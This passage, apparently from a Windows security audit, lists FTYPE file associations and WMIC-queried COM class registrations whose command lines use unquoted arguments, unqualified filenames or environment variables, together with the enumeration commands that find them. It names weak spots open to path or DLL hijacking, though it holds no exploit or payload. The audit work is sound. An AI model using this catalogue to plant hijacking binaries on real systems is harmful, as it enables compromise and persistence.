    Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  6. Command lines with an unquoted long argument:

    FTYPE | FIND.EXE /I " %L"
    IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
  7. Command lines with an unquoted argument:

    FTYPE | FIND.EXE " %1"
    Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    chm.file="%SystemRoot%\hh.exe" %1
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
    giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    hlpfile=%SystemRoot%\winhlp32.exe %1
    htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    http="C:\Program Files\Internet Explorer\iexplore.exe" %1
    https="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  8. Command lines with unquoted environment variable(s) in an argument or with unquoted argument(s):

    FTYPE | FIND.EXE " %"
    Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
    Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
    batfile="%1" %*
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    chm.file="%SystemRoot%\hh.exe" %1
    cmdfile="%1" %*
    comfile="%1" %*
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    exefile="%1" %*
    ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
    giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    hlpfile=%SystemRoot%\winhlp32.exe %1
    htafile=C:\Windows\SysWOW64\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
    htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    http="C:\Program Files\Internet Explorer\iexplore.exe" %1
    https="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    IE.AssocFile.WEBSITE="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
    IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
    JSEFile=C:\Windows\System32\WScript.exe "%1" %*
    JSFile=C:\Windows\System32\WScript.exe "%1" %*
    mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
    Microsoft.Website="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
    ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
    ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    piffile="%1" %*
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    Windows.XamlDocument="C:\Windows\System32\PresentationHost.exe" "%1" %*
    Windows.Xbap="C:\Windows\System32\PresentationHost.exe" "%1" %*
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  9. Command lines containing an environment variable:

    SET SLOPPY=APPDATA CommonProgramFiles CommonProgramFiles(x86) CommonProgramW6432 ComSpec LOCALAPPDATA LOGONSERVER ProgramData ProgramFiles ProgramFiles(x86) ProgramW6432 PUBLIC SystemDrive SystemRoot TEMP TMP USERPROFILE WINDIR
    FTYPE | FINDSTR.EXE /I "%!SLOPPY: =% %!%"
    CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
    CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
    CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
    certificate_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
    chm.file="%SystemRoot%\hh.exe" %1
    CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
    contact_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
    CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
    desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
    Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
    Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
    Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
    Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
    docxfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    emffile="%systemroot%\system32\mspaint.exe" "%1"
    evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
    Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
    Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
    Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    Folder=%SystemRoot%\Explorer.exe
    group_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
    hlpfile=%SystemRoot%\winhlp32.exe %1
    IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
    imesxfile="%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
    inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
    inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
    LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    MacromediaFlashPaper.MacromediaFlashPaper="%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
    Microsoft.ProvTool.Provisioning.1="%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
    Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
    ms-availablenetworks="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
    ms-msdt="%SystemRoot%\system32\msdt.exe" %1
    ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
    ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
    ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
    ms-settings-connectabledevices="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-settings-displays-topology="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    ms-virtualtouchpad="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
    mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
    MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
    Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
    Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
    MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
    msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
    odtfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    opensearchdescription=%SystemRoot%\explorer.exe
    P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
    P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
    PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
    PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
    PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
    ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
    RDP.File="%systemroot%\system32\mstsc.exe" "%1"
    RemoteAssistance.1="%systemRoot%\system32\msra.exe" -openfile "%1"
    rlefile="%systemroot%\system32\mspaint.exe" "%1"
    rtffile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    SHCmdFile=%SystemRoot%\explorer.exe
    SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    textfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
    Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
    Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
    VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    vcard_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    WAB.AssocProtocol.LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
    wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
    webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
    Windows.CompositeFont="%SystemRoot%\System32\notepad.exe" "%1"
    WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
    wmffile="%systemroot%\system32\mspaint.exe" "%1"
    Wordpad.Document.1="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
    WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
    zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1
  10. COM classes registered with an unqualified filename or a pathname containing an environment variable:

    FOR %? IN (InProcHandler InProcHandler32 InProcServer InProcServer32 LocalServer LocalServer32 DefaultIcon ToolBoxBitmap32) DO @WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" PATH Win32_ClassicCOMClassSetting WHERE "NOT %? LIKE '%.%' OR NOT %? LIKE '%\\%' OR %? LIKE '%[%]APPDATA[%]%' OR %? LIKE '%[%]CommonProgramFiles[%]%' OR %? LIKE '%[%]CommonProgramFiles(x86)[%]%' OR %? LIKE '%[%]LOCALAPPDATA[%]%' OR %? LIKE '%[%]LOGONSERVER[%]%' OR %? LIKE '%[%]ProgramData[%]%' OR %? LIKE '%[%]ProgramFiles[%]%' OR %? LIKE '%[%]ProgramFiles(x86)[%]%' OR %? LIKE '%[%]PUBLIC[%]%' OR %? LIKE '%[%]SystemDrive[%]%' OR %? LIKE '%[%]SystemRoot[%]%' OR %? LIKE '%[%]TEMP[%]%' OR %? LIKE '%[%]TMP[%]%' OR %? LIKE '%[%]USERPROFILE[%]%' OR %? LIKE '%[%]WINDIR[%]%'" GET ComponentId, ProgId, %?
    No Instance(s) Available.
    
    ComponentId                             InprocHandler32                             ProgId
    {0e119e63-267a-4030-8c80-5b1972e0a456}  %SystemRoot%\system32\shcore.dll
    {1535D95C-2365-447D-9800-B75501A19C0C}  %SystemRoot%\system32\ShareHost.dll
    {195C8ACD-5F96-4C67-BBCF-B0CD7073500C}  %SystemRoot%\system32\ShareHost.dll
    {1cc78354-9ded-4c1b-bd81-c67b0289a4e5}  %SystemRoot%\system32\windows.storage.dll
    {214DFBF5-5983-4B54-996D-B7FC67E0A1FD}  %SystemRoot%\system32\Windows.Storage.dll
    {251b1498-5cba-4bee-8242-2f57773151aa}  %SystemRoot%\system32\Windows.Storage.dll
    {320690f4-8d7b-4f55-a98d-89ebb01fa776}  %SystemRoot%\system32\Windows.Storage.dll
    {36BAA497-8C84-4700-96A1-88E1876EC5B9}  %SystemRoot%\system32\ShareHost.dll
    {3c5edebe-16c6-4ee4-906b-436aa1f6ef9e}  %SystemRoot%\system32\twinapi.appcore.dll
    {4333fd20-ca5f-4095-a535-edb00455ce66}  %SystemRoot%\system32\shcore.dll
    {4347F4C2-6A7D-40DF-9A4F-C185317AF183}  %SystemRoot%\system32\ShareHost.dll
    {594103b8-e428-4461-b8d7-dd0ae12d31d9}  %SystemRoot%\system32\Windows.Storage.dll
    {70BF9CA8-182C-4BE8-8BE8-1A9217A5D1B5}  %SystemRoot%\system32\Windows.Storage.dll
    {73FDDC80-AEA9-101A-98A7-00AA00374959}  ole32.dll                                   WordPad.Document.1
    {7513af53-9c75-4ad4-b47e-8d855099e023}  %SystemRoot%\system32\shcore.dll
    {788B686B-EA20-41CD-A018-1BFD506194B2}  %SystemRoot%\system32\ShareHost.dll
    {7bce3cfb-954c-438f-974c-73a8e0593f1a}  %SystemRoot%\system32\shcore.dll
    {7e57f418-1f71-4411-9e09-45884f4f4714}  %SystemRoot%\system32\shcore.dll
    {8FF007D1-C3E3-44D5-86AF-2ECB5F663D7C}  %SystemRoot%\system32\Windows.Storage.dll
    {a5183349-82de-4bfc-9c13-7d9dc578729c}  %SystemRoot%\system32\Windows.Storage.dll
    {B243A9FD-C57A-4D3E-A7CF-21CAED64CB5A}  %systemroot%\system32\CoreUIComponents.dll
    {be88f957-42cc-4da7-92cf-9bc35c5d5ee2}  %SystemRoot%\system32\Windows.Storage.dll
    {ccc63ae1-56a5-4f9c-abe8-e55674f0c0a6}  %SystemRoot%\system32\Windows.Storage.dll
    {CF0E916A-DA25-49CA-A264-1D41C009EED0}  %SystemRoot%\system32\ShareHost.dll
    {D3E34B21-9D75-101A-8C3D-00AA001A1652}  ole32.dll                                   Paint.Picture
    {da158800-7434-4410-a0cd-e497c3b4a9da}  %SystemRoot%\system32\Windows.Storage.dll
    {da620430-5f6c-447d-8091-c5757e275b37}  %SystemRoot%\system32\shcore.dll
    {f1f72421-6433-4de9-982d-c8dc12cb569c}  %SystemRoot%\system32\shcore.dll
    {fd8d7f86-2f0c-43bb-b225-97ac3c04567b}  %SystemRoot%\system32\shcore.dll
    
    No Instance(s) Available.
    
    ERROR:
    Description = Exception occured.
    
    No Instance(s) Available.
    
    ComponentId                             LocalServer32                                                                                                                                      ProgId
    {0002DF01-0000-0000-C000-000000000046}  "%ProgramFiles%\Internet Explorer\iexplore.exe"                                                                                                    InternetExplorer.Application.1
    {0002DF02-0000-0000-C000-000000000046}  %SystemRoot%\system32\browser_broker.exe                                                                                                           BrowserBroker.BrowserBroker.1
    {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  "%SystemRoot%\System32\rundll32.exe" "%ProgramFiles%\Windows Photo Viewer\PhotoAcq.dll",AutoplayComServerW {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  Microsoft.PhotoAcqHWEventHandler.1
    {0289a7c5-91bf-4547-81ae-fec91a89dec5}  %systemroot%\system32\WinrsHost.exe
    {031EE060-67BC-460d-8847-E4A7C5E45A27}  "%ProgramFiles%\Windows Media Player\wmprph.exe"
    {03837511-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProviderCollection.1
    {03837513-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProvider.1
    {0383751C-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSession.1
    {03837521-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSet.1
    {03837525-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSetCollection.1
    {03837526-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSet.1
    {03837527-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSetCollection.1
    {03837528-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSession.1
    {03837529-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSessionCollection.1
    {03837530-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSessionCollection.1
    {03837531-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSet.1
    {03837532-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSetCollection.1
    {03837538-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSession.1
    {03837539-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSessionCollection.1
    {03837546-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSet.1
    {03837547-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSetCollection.1
    {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}
    {047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe
    {054AAE20-4BEA-4347-8A35-64A533254A9D}  "%CommonProgramFiles%\microsoft shared\ink\TabTip.exe"
    {0823B6F8-F499-4d5e-B885-EA9CB4F43B24}  %SystemRoot%\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.153_none_e74acfe72624a02b\TiWorker.exe
    {08FC06E4-C6B5-40BE-97B0-B80F943C615B}  %SystemRoot%\System32\ProximityUxHost.exe
    {115e13cf-cfe8-4821-b0da-e06aa4d51426}  %SystemRoot%\system32\RdpSaProxy.exe
    {1202DB60-1DAC-42C5-AED5-1ABDD432248E}  %SystemRoot%\System32\mobsync.exe
    {152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC}  "%SystemRoot%\System32\RmtTpmVscMgrSvr.exe"
    {16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A}  "%SystemRoot%\System32\TpmVscMgrSvr.exe"
    {19833350-BF9B-42A1-BDF0-BD1FCBE1FD31}  "%SystemRoot%\System32\ImmersiveTpmVscMgrSvr.exe"
    {19C65143-6230-42FA-A58E-7D9FA9BE2EB5}  %SystemRoot%\system32\wkspbroker.exe                                                                                                               WorkspaceBroker.WorkspaceBroker.1
    {1A1F4206-0688-4E7F-BE03-D82EC69DF9A5}  %SystemRoot%\System32\mobsync.exe
    {1C749B87-568C-4865-8E73-6413F8372CE6}  "%systemroot%\system32\lpksetup.exe"
    {1F87137D-0E7C-44d5-8C73-4EFFB68962F2}  %systemroot%\system32\wbem\wmiprvse.exe -secured
